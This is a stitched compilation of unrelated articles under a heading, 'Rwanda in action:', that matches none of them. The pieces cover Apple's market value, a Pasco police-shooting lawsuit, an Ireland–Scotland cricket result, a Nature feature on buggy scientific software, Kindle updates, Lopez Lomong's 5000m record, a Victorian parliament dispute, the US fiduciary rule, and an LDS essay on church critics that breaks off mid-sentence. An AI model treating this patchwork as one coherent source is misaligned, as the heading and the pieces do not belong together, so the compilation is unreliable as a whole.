Rwanda in action:
-Apple can’t grow like this forever. No company can.  In a few short years, Apple has become the biggest company on the planet by market value — so big that it dwarfs every other one on the stock market. It dominates the Standard & Poor’s 500-stock index as no other company has in 30 years.  Apple’s market capitalization — the value of all of the shares of its stock — is more than $758 billion, greater than any other company’s. Yet the Wall Street consensus is that Apple is still having a growth spurt. In fact, if Apple’s watches, phones, laptops and other gadgets and services keep generating favorable publicity — and if its quarterly earnings report on Monday is as strong as the market expects it to be — there’s a reasonable chance that Apple’s value will keep swelling. Not far down the road, it might even reach the $1 trillion level that some hedge funds predict.  But even if Apple still has some room to run, there are some early warning signs. After all, the company has already crossed a significant threshold. In February, it grew to twice the size of the next biggest company in the S.&P. 500, a rare feat of financial dominance, and one that hasn’t happened since Ronald Reagan was president.  I checked the numbers with Howard Silverblatt, senior index analyst at S.&P. Dow Jones Indices. He found that the last market colossus to tower over its competitors by a two-to-one ratio was IBM, which did it in three successive years: 1983, 1984 and 1985. “That was when PCs were new,” he said, “and just about everyone thought IBM would rule the world.”
-(Reuters) - The parents of a Mexican immigrant fatally shot by police in Washington state have filed a wrongful death suit against local authorities and the officers who killed him, accusing them of excessive force, an attorney said on Wednesday.  Relatives of Antonio Zambrano-Montes carry his coffin after a funeral mass in Pomaro, in the Mexican state of Michoacan March 7, 2015. REUTERS/Alan Ortega  Antonio Zambrano-Montes, a farm worker in the small city of Pasco, 200 miles (320 km) southeast of Seattle, was shot by three patrolmen on Feb. 10, 2015 during a confrontation that was recorded by a passerby and posted online.  On the video, Zambrano-Montes was seen throwing rocks at the officers near a busy intersection before running away.  In a lawsuit filed in U.S. District Court for Eastern Washington, Zambrano-Montes’ parents say their son’s death was a violation of federal law that prohibit police use of excessive force when making an arrest.  “In this case, it’s obvious that 17 shots, resulting in 7-8 bullet wounds in a man who was first fleeing and then attempting to surrender - was excessive in the extreme,” attorney Charles Herrmann said in a press release.  The killing was among a series of fatal incidents across the United States that have put law enforcement agencies under scrutiny over their use of force, particularly against minorities. It prompted demonstrations in Pasco, which has a Latino majority.  The lawsuit names the city of Pasco, its police chief, Robert Metzger, and the three officers who fired at Zambrano-Montes.  Two of the officers involved, Adam Wright and Adrian Alaniz, were cleared of wrongdoing in September and returned to duty following an internal police investigation. The third officer, Ryan Flanagan, resigned.  Police said the officers followed proper protocol and two stun guns failed to subdue Zambrano-Montes.  Zambrano-Montes’ widow, Teresa de Jesus Meraz-Ruiz, filed a federal wrongful death suit last year seeking more than $25 million in damages.  His parents’ legal action does not name an amount, but the Tri-City Herald newspaper reported that a claim was filed with the city of Pasco in advance of the lawsuit seeking $4.76 million.
-Peter Chase spearheaded an impressive Irish attack to an emphatic 203-run win in their final ICC InterContinental Cup match to beat Scotland with a day to spare in Dubai.  The Malahide speedster took 4 for 52 – his best figures for Ireland - as Scotland were dismissed for 178 chasing an unlikely 382 for victory.  Chase was well supported by the new-ball pair of Tim Murtagh (3-35) and Boyd Rankin (2-39) as Scotland were unable to build any substantial partnerships despite several batsmen getting starts.  Mark Watt top-scored with 43, while Calum MacLeod and Michael Leask hit 33 apiece.  Intercontinental Cup Result; @Irelandcricket win by 203 runs@Irelandcricket 251 (K O'Brien 78; Whittingham 3-23) & 271 (Singh 59; Whittingham 5-70) @CricketScotland 141 (Munsey 38; Rankin 4-45) & 178 (Leask 33; Chase 4-52)#BackingGreen — Cricket Ireland (@Irelandcricket) December 1, 2017  Chase reflected on the comprehensive win, but felt he hadn’t changed too much from the first two days when he went wicket-less.  "To be honest I didn’t really change much from the first innings. I felt I bowled well first up and I think I just got the rewards second time around. I’m very happy with how it went in both."  Earlier Simi Singh made his maiden half-century, top scoring with 59 as the Irish overcame the early loss of Kevin O’Brien to build a formidable total.  Singh shared a 7th wicket stand of 55 in 13 overs with George Dockrell who hit five boundaries in a breezy 40 from just 46 deliveries as Ireland scored 271.  The maximum points win takes Ireland to the top of the table, but Afghanistan will claim the crown for the second time if they avoid defeat against UAE on the final day.  That is a nailed-on certainty as the hosts are 112 runs behind Afghanistan with seven wickets left, having been forced to follow-on.  Ireland’s next red-ball match will be their inaugural Test match against Pakistan at Malahide on May 11th, but they are back on the field next week as they take on Afghanistan in a three-match ODI series in Sharjah.  The games give Ireland an opportunity to get revenge over Afghanistan who beat them 3-2 in a hard-fought ODI series in India earlier this year, and Peter Chase is hoping that the confidence gained from this week’s win will put them in good stead.  "I’m definitely looking forward now to the Afghan games. We’ve had a good rivalry of late with some close ODI series. Hopefully we can take the momentum from this game into that series and claim victory."  IRELAND 251 all out (81 overs; K O’Brien 78*, A Balbirnie 36, W Porterfield 28, G Wilson 21; S Whittingham 3-23, M Watt 3-60, C Sole 3-79) and 271 all out (68.4 overs; S Singh 59, G Wilson 56, G Dockrell 40, W Porterfield 29, A Balbirnie 21; S Whittingham 5-70, M Watt 2-37, C Sole 2-59)  SCOTLAND 141 all out (52.2 overs; G Munsey 38, S Sharif 26*, K Coetzer 22; B Rankin 4-45, K O’Brien 3-14, T Murtagh 2-24) and 178 all out (57.3 overs; M Watt 43, M Leask 33, C Macleod 33, C Wallace 21; P Chase 4-52, T Murtagh 3-35, B Rankin 2-39)  Ireland (20 pts) beat Scotland (0 pts) by 203 runs
-Published online 13 October 2010 | Nature 467, 775-777 (2010) | doi:10.1038/467775a  News Feature  …why scientific programming does not compute.  When hackers leaked thousands of e-mails from the Climatic Research Unit (CRU) at the University of East Anglia in Norwich, UK, last year, global-warming sceptics pored over the documents for signs that researchers had manipulated data. No such evidence emerged, but the e-mails did reveal another problem — one described by a CRU employee named "Harry", who often wrote of his wrestling matches with wonky computer software.  "Yup, my awful programming strikes again," Harry lamented in one of his notes, as he attempted to correct a code analysing weather-station data from Mexico.  Although Harry's frustrations did not ultimately compromise CRU's work, his difficulties will strike a chord with scientists in a wide range of disciplines who do a large amount of coding. Researchers are spending more and more time writing computer software to model biological structures, simulate the early evolution of the Universe and analyse past climate data, among other topics. But programming experts have little faith that most scientists are up to the task.  A quarter of a century ago, most of the computing work done by scientists was relatively straightforward. But as computers and programming tools have grown more complex, scientists have hit a "steep learning curve", says James Hack, director of the US National Center for Computational Sciences at Oak Ridge National Laboratory in Tennessee. "The level of effort and skills needed to keep up aren't in the wheelhouse of the average scientist."  As a general rule, researchers do not test or document their programs rigorously, and they rarely release their codes, making it almost impossible to reproduce and verify published results generated by scientific software, say computer scientists. At best, poorly written programs cause researchers such as Harry to waste valuable time and energy. But the coding problems can sometimes cause substantial harm, and have forced some scientists to retract papers.  As recognition of these issues has grown, software experts and scientists have started exploring ways to improve the codes used in science. Some efforts teach researchers important programming skills, whereas others encourage collaboration between scientists and software engineers, and teach researchers to be more open about their code.  A proper education  Greg Wilson, a computer scientist in Toronto, Canada, who heads Software Carpentry — an online course aimed at improving the computing skills of scientists — says that he woke up to the problem in the 1980s, when he was working at a physics supercomputing facility at the University of Edinburgh, UK. After a series of small mishaps, he realized that, without formal training in programming, it was easy for scientists trying to address some of the Universe's biggest questions to inadvertently introduce errors into their codes, potentially "doing more harm than good".  After decades griping about the poor coding skills of scientists he knew, Wilson decided to see how widespread the problem was. In 2008, he and his colleagues conducted an online survey of almost 2,000 researchers, from students to senior academics, who were working with computers in a range of sciences. What he found was worse than he had anticipated1 (see 'Scientists and their software'). "There are terrifying statistics showing that almost all of what scientists know about coding is self-taught," says Wilson. "They just don't know how bad they are."  Click for a larger version. SOURCE: G. WILSON  As a result, codes may be riddled with tiny errors that do not cause the program to break down, but may drastically change the scientific results that it spits out. One such error tripped up a structural-biology group led by Geoffrey Chang of the Scripps Research Institute in La Jolla, California. In 2006, the team realized that a computer program supplied by another lab had flipped a minus sign, which in turn reversed two columns of input data, causing protein crystal structures that the group had derived to be inverted. Chang says that the other lab provided the code with the best intentions, and "you just trust the code to do the right job". His group was forced to retract five papers published in Science, the Journal of Molecular Biology and Proceedings of the National Academy of Sciences, and now triple checks everything, he says.  "How many fields have been held back, and how many people have had their careers disrupted, because of a buggy program?" asks Wilson.  More-rigorous testing could help. Diane Kelly, a computer scientist at the Royal Military College of Canada in Kingston, Ontario, says the problem is that scientists rely on "validation testing" — looking to see whether the answer that the code produces roughly matches what the scientists expect — and this can miss important errors2. The software industry relies on a different approach: breaking codes into manageable chunks and testing each piece individually, then visually inspecting the lines of code that stitch these chunks together (see 'Practicing safe software').  Click for a larger version.  Many programmers in industry are also trained to annotate their code clearly, so that others can understand its function and easily build on it. But scientists often lack these communication and documentation skills. Even if researchers lift a whole working code and reuse it, rather than writing their own, they can apply the program incorrectly if it lacks clear documentation. Aaron Darling, a computational biologist at the University of California, Davis, unwittingly caused such a mistake with his own computer code for comparing genomes to reconstruct evolutionary relationships. He had designed the program to work only with closely related organisms, but discovered that an independent group had used it to look at sequences far outside the code's working range.  "It was lucky that I came across it, because their published results were totally wrong, but they couldn't know that because I hadn't clearly documented how my code worked," says Darling. "It's not something that I am proud of, but I am careful to be more clear now."  Slaying the monster  Problems created by bad documentation are further amplified when successful codes are modified by others to fit new purposes. The result is the bane of many a graduate student or postdoc's life: the 'monster code'. Sometimes decades old, these codes are notoriously messy and become progressively more nightmarish to handle, say computer scientists.  "You do have some successes, but you also end up with a huge stinking heap of software that doesn't work very well," says Darling.  The mangled coding of these monsters can sometimes make it difficult to check for errors. One example is a piece of code written to analyse the products of high-energy collisions at the Large Hadron Collider particle accelerator at CERN, Europe's particle-physics laboratory near Geneva, Switzerland. The code had been developed over more than a decade by 600 people, "some of whom are excellent programmers and others who do not really know how to code very well", says David Rousseau, software coordinator for the ATLAS experiment at CERN. Wilson and his students tried to test the program, but they could not get very far: the code would not even run on their machines.  Rousseau says that the ATLAS group can test the software only on the Linux operating system at the moment, but is striving to make the code compatible with Mac computers. This is important, he says, "because different platforms expose different types of errors that may otherwise be overlooked".  Some software developers have found ways to combat the growth of monster code. One example is the Visualization Toolkit, an open-source, freely available software system for three-dimensional computer graphics. People can modify the software as they wish, and it is rerun each night on every computing platform that supports it, with the results published on the web. The process ensures that the software will work the same way on different systems.  That kind of openness has yet to infiltrate the scientific research world, where many leading science journals, including Nature, Science and Proceedings of the National Academy of Sciences, do not insist that authors make their code available. Rather, they require that authors provide enough information for results to be reproduced.  The search for Solutions  In November 2009, a group of scientists, lawyers, journal editors, and funding representatives gathered for the Yale Law School Data and Code Sharing Roundtable in New Haven, Connecticut, where they recommended that scientists go further by providing links to the source-code and the data used to generate results when publishing. Although a step in the right direction, such requirements don't always solve the problem. Since 1996, The Journal of Money, Credit and Banking has required researchers to upload their codes and data to an archive. But a 2006 study revealed that of 150 papers submitted to the journal over the preceding decade that fell under this requirement, results could be independently replicated with the materials provided for fewer than 15 (ref. 3).  Proponents of openness argue that researchers seeking to replicate published results need access to the original software, but others say that more transparency may not help much. Martin Rees, president of the Royal Society in London, says it would be too much to ask reviewers to check code line by line. And in his own field of astrophysics, results can really be trusted only in cases in which a number of different groups have written independent codes to perform the same task and found similar results. Still, he acknowledges that "how to trust unique codes remains an issue".  There are signs that scientific leaders are now taking notice of these concerns. In 2009, the UK Engineering and Physical Sciences Research Council put out a call for help for scientists trying to create usable software, which led to the formation of the Software Sustainability Institute (SSI) at the University of Edinburgh. The SSI unites trained software developers with scientists to help them add new lines to existing codes, allowing them to tackle extra tasks without the programs turning into monsters. They also try to share their products across disciplines, says Neil Chue Hong, the SSI's director. For instance, they recently helped build a code to query clinical records and help monitor the spread of disease. They are now sharing the structure of that code with researchers who are trying to use police records to identify crime hot spots. "It stops researchers wasting time reinventing the wheel for each new application," says Chue Hong.  “Could your code stand up to attack?”  Another solution is to bring trained computer scientists into research groups, either permanently or as part of temporary alliances. Software developer Nick Barnes has set up the Climate Code Foundation, based in Sheffield, UK, to help climate researchers. He was motivated by problems with NASA's Surface Temperature Analysis software, which was released to the public in 2007. Critics complained that the program, written in the scientific programming language Fortran, would not work on their machines and they could therefore not trust what it said about global warming. In consultation with NASA researchers, Barnes rewrote the code in a newer, more transparent programming language — Python — reducing its length and making it easier for people who aren't software experts to understand how it functions. "Because of the immense public interest and the important policy issues at stake, it was worth taking the time to do that," says Barnes. His new code shows the same general warming trend as the original program.  In the long term, though, Barnes says that there needs to be a change in the way that science students are trained. He cites Wilson's online Software Carpentry course as a good model for how this can be done, to equip students with coding skills. Wilson developed the week-long course to introduce science graduate students to tools that have been software-industry standards for 30 years — such as 'version control', which allows multiple programmers to make changes to the same code, while keeping track of all changes.  Science administrators also need to value programming skills more highly, says David Gavaghan, a computational biologist at the University of Oxford, UK. "There needs to be a real shift in mindset away from worrying about how to get published in Nature and towards thinking about how to reward work that will be useful to the wider community."  ADVERTISEMENT  Gavaghan now uses the software industry's 'master–apprentice' approach to train graduate students in his lab. New software projects are split up into bite-sized chunks, with each segment assigned to a pair of programmers — one experienced and one novice — who work together on it. "It forces students to become consistent code-builders," says Gavaghan.  Bringing industrial software-development practices into the lab cannot come too soon, says Wilson. The CRU e-mail affair was a warning to scientists to get their houses in order, he says. "To all scientists out there, ask yourselves what you would do if, tomorrow, some Republican senator trains the spotlight on you and decides to turn you into a political football. Could your code stand up to attack?"  See World View, p.753  Zeeya Merali is a freelance writer in London .
-If your Kindle e-reader model requires an update, you may be unable to download Kindle content from the Cloud, access the Kindle Store, register or deregister your device, import collections, share content via social networks, or use Whispersync services, annotations backup, Goodreads, and Kindle FreeTime.  The most recent software update for some Kindle e-readers provides updates needed to continue using some services on your device. This update should automatically download and install when your Kindle is charging and connected to a Wi-Fi network. If it doesn't, you may need to manually install the update to regain access to these features.  Kindle E-Readers that Require Updates  The Kindle e-readers in the table below require the latest software version. If you are not sure which Kindle e-reader you have, refer to Which Kindle E-reader Do I Have?  Important: If your software version is higher than the version listed in the table, your device does not require an update. Additionally, the following device models are not impacted and do not require this update. Any Kindle e-reader model (7th Generation & newer)  Fire tablets (any generation) If your software version is higher than the version listed in the table, your device does not require an update. Additionally, the following device models are not impacted and do not require this update.  Your Kindle must be connected to Wi-Fi to download and install this update. This update will not download when connected to 3G. To learn more, see Download a Software Update via Wi-Fi.  If you haven't received the software update over a Wi-Fi network, it may need to be transferred via USB. If you own a Kindle (1st Generation), Kindle (2nd Generation), or Kindle DX (2nd Generation), you will need to download the software update manually since those devices do not have Wi-Fi capabilities. To learn how, see Transfer & Install the Latest Software Update Manually.
-Before the race, it was pure speculation. Steps before the line, it became a reality.  At the Armory on Friday night, Lopez Lomong stormed home to win the men’s 5000m in 13:07.00 and in the process, nipped Bernard Lagat’s American record of 13:07.15.  13:06.99 is what happens when Lopez counts the laps right. — Kevin Liao (@RunLiao) March 2, 2013  Race Splits for the Leaders  31.7 200m  64.8 400m  2:07.5 800m  3:10.7 1200m  4:14.4 1600m  6:19.0 2400m  6:49.9 2600m  7:21.1 2800m  7:53.7 3000m  8:25.1 3200m  8:56.9 3400m (rabbit off at 3500m)  9:29.0 3600m  10:01.3 3800m  10:32.5 4000m  11:03.3 4200m  11:34.1 4400m  12:05.1 4600m  12:36.4 4800m  13:07.00 5000m  The original race goal for Team Schumacher was to obtain the IAAF “A” standard of 13:15.00. The rabbits, Dan Huling and Travis Mahoney, were scheduled to run a consistent set of 63.6-second quarters.  As the race progressed, the pace was near immaculate. It wasn’t until Huling stepped off the track around 3500m that pre-race murmurs hinting at the American record turned into thousand-yard stares and crazed yelling from the Armory crowd.  Initially, Chris Derrick would take the lead, but not for long. Lopez Lomong surged to the front at the 4000m mark and for the second time in three weeks, the Armory’s spotlight shined on him.  You could visibly see the strain on his face each time he came down the homestretch, but his legs would not tire. A string of 31-second two-hundred meter splits turned the Armory arena into a deafening cathedral where records come to die.  Then we started having flashbacks. “Oh, he’s going to do it,” Flotrack said over its live feed for Galen Rupp’s indoor mile American record attempt. Maybe we jinxed it, maybe it was premature, but we didn’t care.  With 200m to go, “He’s going to do it!” was yelled so often that the Flotrack HQ became an echo chamber for the running obsessed. No one jumping out of their seat expected an answer or a response - we were all just hoping that he’d make it to the line in time.  His last lap was not smooth, but the end was an incredible sight.  13:07.00.  Not too long ago, Bernard Lagat held all five American indoor records from the 1500m to the 5000m.  Over the last week, he’s managed to lose two. The 3000m indoor record was the first to go with Galen Rupp’s 7:30.16 win in Stockholm, Sweden.  The second was tonight.  Men's 5000m run ========================================================================= Name Year School Seed Finals ========================================================================= 1 Lomong, Lopez Nike 13:07.00 2 Derrick, Chris Nike 13:12.00 3 Bumbalough, Andrew Nike 13:23.68 4 Heath, Elliott Nike 13:33.22 5 Jager, Evan Nike 13:33.37 6 Tegenkamp, Matt Nike 13:35.46 7 Mecheso, Girma Oklahoma Sta 13:57.06 13:45.61 -- Huling, Dan Nike DNF -- Mahoney, Travis New Jersey-N DNF 1k split 1 Mahoney, Travis New Jersey-N 2:38.88 2 Huling, Dan Nike 2:39.14 3 Jager, Evan Nike 2:39.40 4 Derrick, Chris Nike 2:39.63 5 Lomong, Lopez Nike 2:39.89 6 Bumbalough, Andrew Nike 2:40.10 7 Tegenkamp, Matt Nike 2:40.31 8 Heath, Elliott Nike 2:40.53 9 Mecheso, Girma Oklahoma Sta 13:57.06 2:40.78 2k split 1 Heath, Elliott Nike 5:16.67 2 Huling, Dan Nike 5:16.92 3 Jager, Evan Nike 5:17.17 4 Derrick, Chris Nike 5:17.40 5 Lomong, Lopez Nike 5:17.67 6 Bumbalough, Andrew Nike 5:17.89 7 Tegenkamp, Matt Nike 5:18.13 8 Mahoney, Travis New Jersey-N 5:18.37 9 Mecheso, Girma Oklahoma Sta 13:57.06 5:18.64 3k split 1 Huling, Dan Nike 7:53.46 2 Jager, Evan Nike 7:53.71 3 Derrick, Chris Nike 7:53.94 4 Lomong, Lopez Nike 7:54.18 5 Bumbalough, Andrew Nike 7:54.39 6 Tegenkamp, Matt Nike 7:54.70 7 Heath, Elliott Nike 7:55.05 8 Mecheso, Girma Oklahoma Sta 13:57.06 8:01.03 -- Mahoney, Travis New Jersey-N DNF 4k split 1 Lomong, Lopez Nike 10:32.64 2 Derrick, Chris Nike 10:33.26 3 Bumbalough, Andrew Nike 10:35.11 4 Jager, Evan Nike 10:35.82 5 Heath, Elliott Nike 10:44.68 6 Tegenkamp, Matt Nike 10:45.08 7 Mecheso, Girma Oklahoma Sta 13:57.06 10:53.16 -- Huling, Dan Nike DNF -- Mahoney, Travis New Jersey-N DNF  WATCH RACE VIDEO
-Victorian Government misses deadline to release business case for Westgate Distributor project  Posted  Victoria's Upper House could issue sanctions against the State Government after it failed to comply with a motion to provide documents about the Westgate Distributor project.  The Coalition pushed for more detail about Labor's promise to build new off-ramps on the Westgate Freeway to reduce traffic caused by trucks servicing the Port of Melbourne.  Last month, the Upper House carried a motion to compel the Government to release documents relating to the project, including the business case, planning reports and traffic modelling, by midday today.  Opposition Leader Matthew Guy said the Government ignored the deadline.  "This is becoming a pattern of this Government - say one thing before the election and do something completely different after it," he said.  "I think people are absolutely and utterly sick of that kind of politics."  Failing to comply with the motion could lead to Parliamentary sanctions against the Government including the suspension of the Government's leader in the Upper House, Gavin Jennings.  The Government ignored a similar motion in February, compelling it to release the contracts for the East West Link.  The Government does not have a majority in the Upper House where the balance of power is held by the Greens and several minor parties.  Topics: state-parliament, federal---state-issues, vic
-One of the Obama administration’s final major labor regulations could deprive millions of retirement savers investment advice from financial professionals, according to a new report.  The Department of Labor proposed the Fiduciary Rule in April 2015, which would allow regulators to oversee the relationship between retirement account advisors and their clients to ensure that the former were completing trades for the sole interest of their clients. The rule was approved in 2016 under the leadership of Labor Secretary Tom Perez, now the head of the Democratic Party.  “In 2016, the Department took a historic step to protect the savings of America’s workers—the conflict of interest rule makes sure that professionals providing retirement investment advice have to give advice that’s in the best interest of their clients and not divert their clients’ hard-earned income into their own pockets through hidden fees and conflicted advice,” Perez said in an exit memo published on the White House website.  Read more
-Who Are The New Anti-Mormons  Since the organization of the Church of Jesus Christ of Latter-day Saints and even before, there have been those opposed to the Church. More aptly named “Critics of the Church” or “Enemies of the Church,” they have traditionally been known inside the Church as “Anti-Mormons.” Which, of course is short-hand for “Against Mormons.” And, as you might imagine, those who would be classified in that category, usually strongly object to the use of the term. But, nevertheless, the term prevails to this day.  Over the years, the folks who might be called Anti-Mormons have changed. Even though, for the most part, there has always been a religious overtone to those objecting to various things in and about the Church and its teachings, it has not always been about that. And in my observation, it might be even different today.  In many ways, the Internet has thoroughly changed the dissemination of information both for and against the Church. What used to be primarily through books, newspapers, pamphlets and word of mouth, is now instantaneously available in the privacy of one’s own home via an electronic device. One only needs to do a search on the word “Mormon” and droves of links are available both for and against the Church. Information, both historical and current, can be accessed and one is left on their own to interpret and evaluate it as they wish.  A Short History  The history of anti-Mormon activity hearkens back to the very origins of the Church itself. As many Church members know, Joseph Smith was ridiculed from the very moment he revealed his vision to others. In Joseph Smith – History from the Pearl of Great Price, we read,  “Some few days after I had this vision, I happened to be in company with one of the Methodist preachers, who was very active in the before mentioned religious excitement; and, conversing with him on the subject of religion, I took occasion to give him an account of the vision which I had had. I was greatly surprised at his behavior; he treated my communication not only lightly, but with great contempt, saying it was all of the devil, that there were no such things as visions or revelations in these days; that all such things had ceased with the apostles, and that there would never be any more of them.  I soon found, however, that my telling the story had excited a great deal of prejudice against me among professors of religion, and was the cause of great persecution, which continued to increase; and though I was an obscure boy, only between fourteen and fifteen years of age, and my circumstances in life such as to make a boy of no consequence in the world, yet men of high standing would take notice sufficient to excite the public mind against me, and create a bitter persecution; and this was common among all the sects—all united to persecute me.” (Joseph Smith—History 1:21-22)  That was only the beginning.  In New York, anti-Mormon behavior dealt mainly whether or not Smith actually had the gold plates, if Smith really had his visions, Smith’s treasure-digging episodes, and accusations of occult practices and the Book of Mormon as extra-biblical literature on equal footing with the Bible.  In Ohio, anti-Mormons focused on the ill-fated banking efforts of the Kirtland Safety Society and other failed economic experiments including the United Order.  In Missouri, once the chosen gathering place of the Latter Day Saints, Mormons tended to vote as a bloc, wielding “considerable political and economic influence,” often unseating local political leadership and earning long-lasting enmity in the sometimes hard-drinking, hard-living frontier communities. These differences culminated in hostilities and the eventual issuing of an executive order (since called the Extermination Order) by Missouri governor Lilburn Boggs declaring “the Mormons must be treated as enemies, and must be exterminated or driven from the State.” Three days later, a renegade militia unit attacked a Mormon settlement at Haun’s Mill, resulting in the death of 18 Mormons and no militiamen. The Extermination Order was not formally rescinded until 1976.  In Nauvoo, Illinois, persecutions were often based on the tendency of Mormons to “dominate community, economic, and political life wherever they resided.” The city of Nauvoo had become the largest in Illinois, the city council was predominantly Mormon, and the Nauvoo Legion (the Mormon militia) had grown to a quarter of the size of the U.S. Army. Other issues of contention included polygamy, freedom of speech, anti-slavery views during Smith’s presidential campaign, and the deification of man. After the destruction of the press of the Nauvoo Expositor and institution of martial law, Joseph Smith, Jr. was arrested on charges of treason against the state of Illinois and incarcerated in Carthage Jail where he was killed by a mob on June 27, 1844. The persecution in Illinois became so severe that most of the residents of Nauvoo fled across the Mississippi River in February 1846.  In 1847 Mormons established a community hundreds of miles away in the Salt Lake Valley in Utah. Beginning in 1849, every federally appointed official left Utah under duress. In 1857 President Buchanan concluded that the Mormons in the territory were rebelling against the United States. In response, President Buchanan sent one-third of the USA’s standing army to Utah in 1857 in what is known as the Utah War. However, the main objection to the Mormons in Utah was driven by the faith’s open practice of polygamy. The United States government eventually outlawed the practice and Mormons abandoned it. But yet the persecution as a result of it continues to this day. (Wikipedia)  The term “anti-Mormon” first appears in the historical record in 1833 by the Louisville (Kentucky) Daily Herald in an article, “The Mormons and the Anti-Mormons” (the article was also the first known to label believers in the Book of Mormon as “Mormons”). In 1841, it was revealed that an Anti-Mormon Almanac would be published. On August 16 of that year, the Latter Day Saint “Times and Seasons” reported the Mormons’ confidence that although the Anti-Mormon Almanac was designed by “Satan and his emissaries” to flood the world with “lies and evil reports”, still “we are assured that in the providence of God they will ultimately tend to the glory of God—the spread of truth and the good of the church”.  The anti-Mormon newspaper certainly was not the first of its kind; Mormonism had been criticized strongly by dozens of publications since its inception, most notably by Eber D. Howe’s 1834 book Mormonism Unvailed. The Latter Day Saints initially labeled such publications “anti-Christian”, but the publication of the Almanac and the subsequent formation of an “Anti-Mormon Party” in Illinois heralded a shift in terminology. “Anti-Mormon” became, on the lips of the church’s critics, a proud and politically charged self-designation. . (Wikipedia)  In addition to Howe, some of the leading Anti-Mormons of that era were;  TBH Stenhouse “ Tell it All: the Tyranny of Mormonism”  John H. Beadle “Polygamy or The Mysteries and Crimes and of Mormonism”  Ann Eliza Young: “Wife No. 19” (an ex-wife of Brigham Young)  The Great Evangelical Attacks of the 20th Century  As was previously mentioned, throughout the 1800’s, the bulk of Anti-Mormon activity centered on regional, political, and economic issues rather than specific doctrinal issues. Even though the teachings of the LDS Church by the mid- 1850s had most certainly diverged from prevailing mainstream Christian thought. There were the on-going objections to the Book of Mormon standing alongside the Bible, the concept of a Living Prophet, continuous revelation and an open canon, and the practice of polygamy, doctrinal conflict amid renewed Anti-Mormon activity really blossomed beginning in the late 1970s and throughout the 1980’s.  A new crop of critics emerged with a similar, yet expanded set of complaints. And they used the available forms of communication to more effectively preach their message.  The deans of the modern Anti-Mormon activity were Jerald and Sandra Tanner, who founded the Modern Microfilm Company in Salt Lake City in 1964 to “”document problems with the claims of Mormonism and to compare LDS doctrines with Christianity.” In 1983 they turned their company into a non-profit organization and renamed it the Utah Lighthouse Ministry. (www.utlm.org).  Both Jerald and Sandra were members of the LDS Church with deep pioneer roots who converted to evangelical Protestantism. Ironically, many of the things they published were of deep interest to LDS people and were previously unpublished through normal sources. However, their critical interpretation of the documents, their argumentative tone and their publishing of copyrighted materials set them up as Anti-Mormons in the strictest sense, and paved the way for the others who followed.  The follow-ons to the Tanners took even a harsher tone against the Church Ed Decker (Founder of Saints Alive in Jesus), Richard Baer and Dave Hunt produced the most well-known piece of Anti-Mormon work, The God Makers and God Makers II, a book and then two movies. The film, which was launched in 1982 was a haunting tale with ominous music, interviews, a cartoon depiction of the Plan of Salvation and even an interview with a Mission President. It presented itself as a documentary. The film was shown in churches all across Americas as the authors toured around warning Christians of the threat posed by the growing LDS Church. The God Makers II was a poor cousin to the first movie made up of outtakes from the original and focusing primarily on the Temple Ceremonies.  I had the opportunity to see the film at a very large church in San Jose, which was highlighted by a lecture by Ed Decker. I also saw it again in a smaller Church, this time with Dick Baer as the presenter. In both cases, they answered questions from the congregation and of course, passed the donation plates for the support of “their work.”  One of the main selling points of these anti-Mormon critics was their “Mormon cred” – credibility. In other words, the Tanners, Decker and Baer had all been members so they had the inside scoop, the secrets, and the dirty details. However, none of them ever held any substantive leadership position to my knowledge (Update: I’m told Ed Decker served in a Bishopric in Washington.). In fact, one of the most interesting points about the Anti-Mormon industry was the propensity to quote each other as their sources of information. Hugh Nibley pointed this out in his book, “Tinkling Cymbals and Sounding Brass – The Art of Telling Tales About Joseph Smith and Brigham Young,” In a chapter entitled “How to Write an Anti-Mormon Book (A Handbook for Beginners).  The most prolific Anti-Mormon of that period had to be Walter Martin, founder of the Christian Research Institute. Martin was the author of the landmark, “Kingdom of the Cults,” which profiled the various religions and denominations he classified as cults. The LDS Church was, of course, one of them. He also had a radio show known as the “Bible Answer Man” and had debated numerous Mormon apologists such as Van Hale. He died in 1989.  The mantra of these Anti-Mormons was pretty much the same, centering on these major points:  Mormons are Not Christians – Because the teachings of the LDS Church were not in line with what they called “Historic Christian Traditions” regarding the Nature of God, role of Satan, Living Prophets, continuing revelation, open canon and extra-biblical texts, and the truth of the Bible as far as it is translated correctly, etc., we are deemed by them as not a Christian Church despite claims to the contrary. This mainly because, in their minds:  – Because the teachings of the LDS Church were not in line with what they called “Historic Christian Traditions” regarding the Nature of God, role of Satan, Living Prophets, continuing revelation, open canon and extra-biblical texts, and the truth of the Bible as far as it is translated correctly, etc., we are deemed by them as not a Christian Church despite claims to the contrary. This mainly because, in their minds: Mormons worship a different Jesus – Because of our doctrine on the Nature of God as separate beings, with bodies of flesh and bone, because we believe that Jesus visited the Americas and because of our eternal view, we must be worshiping a different Jesus than they do. I’ve never quite gotten this point.  Because of our doctrine on the Nature of God as separate beings, with bodies of flesh and bone, because we believe that Jesus visited the Americas and because of our eternal view, we must be worshiping a different Jesus than they do. I’ve never quite gotten this point. Salvation by Works – Critics point to the many commandments and tasks that Mormons do in the course of their worship as evidence that Mormons believe they can “work” their way to the highest degrees of heaven. As opposed to the commonly held view by many other Christians of Salvation by Grace alone; That the shed blood of Jesus and confession of sins saves without regard to any acts, good or bad. This is usually coupled with a “once saved, always saved idea that one cannot lose their salvation having obtained it through confession and God’s grace. Latter-day Saints and many other Christians would disagree with this based on Bible teachings alone.  Here are some of the stated reasons why they engage in this work:  I’m here to tell you the Truth The Church is deceiving you The leaders are not what they purport to be. The Book of Mormon is fake and written by Joseph Smith The church is a cult I can help you escape it Most of all, I love the Mormon people  Which brings me to:  The New Anti-Mormons  Many of those folks have slipped by the wayside in terms of their real influence in the Anti-Mormon community. Sure there are a few others like James White, Bill McKeaver and Sean McCready. But the latest group of potential Anti-Mormons are different. Not only do they have the benefit of the Internet as their communications vehicle, they also have the benefit of being current and former members of the Church.  Yes, it’s true. That scripture in the New Testament is coming to pass:  “Beware of false prophets, which come to you in sheep’s clothing, but inwardly they are ravening wolves. (Matthew 7:15)  The new crop of Anti-Mormons speak to very different issues than the ones from the past. While many have doctrinal issues, most new critics focus on historical claims which they say the Church hid from them. That have problems with:  Blacks and the Priesthood issue  The role of women in the Church  The Patriarchal Order  The polygamy issue, particularly surrounding the practices of Joseph Smith  The historicity of the Book of Mormon  The historical treatment of Gays and Same Sex Marriage  And while many members have very legitimate questions and concerns about these issues and can take different positions from the Leaders of the Church on these issues and their resolution, these new Anti-Mormons take it a step further. They openly advocate against the Church because of these issues.  They say:  The Leaders were/are racists and the only reason the Blacks were allowed to receive the Priesthood was because of pressure applied to the Church by outsiders 